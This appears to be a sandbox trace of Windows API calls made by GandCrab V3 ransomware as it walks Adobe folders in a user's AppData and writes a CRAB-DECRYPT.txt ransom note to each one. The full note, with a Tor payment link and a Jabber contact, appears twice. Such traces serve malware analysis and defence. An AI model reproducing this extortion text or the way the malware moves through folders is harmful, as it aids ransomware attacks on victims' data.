	[0109.278] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.278] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.278] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt"
	[0109.278] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.278] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt") returned 73
	[0109.278] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt") returned 73
	[0109.278] lstrlenW (lpString=".txt") returned 4
	[0109.278] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.278] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.278] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.279] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt") returned 73
	[0109.279] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\CRAB-DECRYPT.txt") returned 73
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.279] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.279] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.279] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.279] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1
	[0109.279] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1
	[0109.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache"
	[0109.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\"
	[0109.279] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.280] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.280] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.280] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.280] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.280] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.280] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.280] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\CRAB-DECRYPT.txt") returned 86
	[0109.280] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\nativecache\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.281] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.281] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.282] CloseHandle (hObject=0x3f4) returned 1
	[0109.282] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.282] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned 69
	[0109.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*"
	[0109.283] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80360
	[0109.283] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.283] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.283] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.283] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.283] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.283] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.283] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt"
	[0109.283] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.284] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt") returned 85
	[0109.284] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt") returned 85
	[0109.284] lstrlenW (lpString=".txt") returned 4
	[0109.284] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.284] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.284] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.284] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt") returned 85
	[0109.284] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\CRAB-DECRYPT.txt") returned 85
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.284] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.285] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.285] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.285] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.285] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.285] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.285] lstrcmpW (lpString1="NativeCache.directory", lpString2=".") returned 1
	[0109.285] lstrcmpW (lpString1="NativeCache.directory", lpString2="..") returned 1
	[0109.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory"
	[0109.285] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.285] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90
	[0109.285] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90
	[0109.285] lstrlenW (lpString=".directory") returned 10
	[0109.285] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.286] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".directory ") returned 11
	[0109.286] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.286] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.286] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.286] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0109.286] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.286] FindClose (in: hFindFile=0xd802e0 | out: hFindFile=0xd802e0) returned 1
	[0109.286] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.286] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1
	[0109.286] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1
	[0109.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights"
	[0109.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\"
	[0109.287] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.287] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.287] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.287] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.287] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.287] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.288] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\CRAB-DECRYPT.txt") returned 72
	[0109.288] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\headlights\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.289] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.289] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.290] CloseHandle (hObject=0x3f0) returned 1
	[0109.290] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.290] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned 55
	[0109.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*"
	[0109.290] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd80520
	[0109.290] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.290] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.290] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.290] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.290] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.290] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.290] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt"
	[0109.291] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.291] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt") returned 71
	[0109.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt") returned 71
	[0109.291] lstrlenW (lpString=".txt") returned 4
	[0109.291] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.291] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.291] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt") returned 71
	[0109.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\CRAB-DECRYPT.txt") returned 71
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.292] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.292] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.292] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.292] FindClose (in: hFindFile=0xd80520 | out: hFindFile=0xd80520) returned 1
	[0109.292] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.292] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1
	[0109.292] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1
	[0109.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics"
	[0109.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\"
	[0109.292] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.293] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.293] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.293] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.293] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.293] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.293] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.293] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\CRAB-DECRYPT.txt") returned 73
